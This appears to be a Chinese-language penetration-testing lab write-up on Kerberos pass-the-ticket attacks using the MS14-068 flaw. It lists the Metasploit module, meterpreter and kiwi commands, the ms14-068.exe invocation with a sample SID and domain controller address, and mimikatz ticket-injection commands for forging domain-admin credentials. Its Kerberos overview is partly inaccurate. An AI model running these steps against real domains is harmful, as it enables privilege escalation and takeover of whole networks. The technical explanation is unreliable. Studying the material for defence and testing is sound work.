票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。
1.ptt攻击的部分
就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的
Kerberos协议具体工作方法:Kerberos认证方式,在域中,简要介绍一下:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
- 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
1.1 ms14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
在msf里也集成了ms14-068的利用操作,要想使用我们首先得:
域用户sid和域控主机名
目标域名称
当前域用户账户和密码
然后再msf下
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
注意:这里的rhost设置成你想要假冒的域的主机名,一般是域控主机名
然后找到生成的文件,TGT凭单(具有特权PAC信息)已保存在中
这种格式非常有用,因为可以通过Mimikatz在Windows客户端上或在linux客户端上使用MIT kerberos导入
同时,可以使用mimikatz转换格式(任何mimikatz安装都可以完成工作,而无需成为域计算机或类似的东西):
注意:mimikatz不支持注入xp以及以下系统
在kail系统下还没有默认安装kerberos的认证功能所以我们首先要安装一个kerberos客户端:
apt-get install krb5-user
然后在目标靶机上传mimikatz和生成的bin文件,将我们生成的bin文件转换为.kirbi文件,然后再在通过kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
上传mimikatz:
上传bin文件:
mimikatz:
ok,导出的文件0-00000000-zhu1@krbtgt-XIAN.COM.kirbi现在可以用于kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
返回到meterpreter,注意这里必须要有管理员权限才行。
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
运行load kiwi
将生成的kirbi下载回来到本地/tmp/文件夹内:(因为我kali上的kerberos安装有问题...)
download c:/wmpub/0-00000000-zhu1@krbtgt-XIAN.COM.kirbi /tmp/
最后注入票据:
最后一步总是失败,可能是msf上mimikatz对windows2003的支持问题,下次在win7上试一下。
1.2 使用ms14-068.exe
除了使用msf配合mimikatz,还可以使用ms14-068.exe,全程在目标机上完成注入
1.2.1 使用whoami/user得到域用户的sid
1.2.2 执行payload生成TGT票据
使用工具:ms14-068
使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行:
MS14-068.exe -u xian.com -s S-1-5-21-3472572548-430068626-1276128607-1106 -d 192.168.5.2 -p xxx
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
当前目录下生成伪造的票据文件:
1.2.3 票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
显示错误
经过上面实验,和网上资料,域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的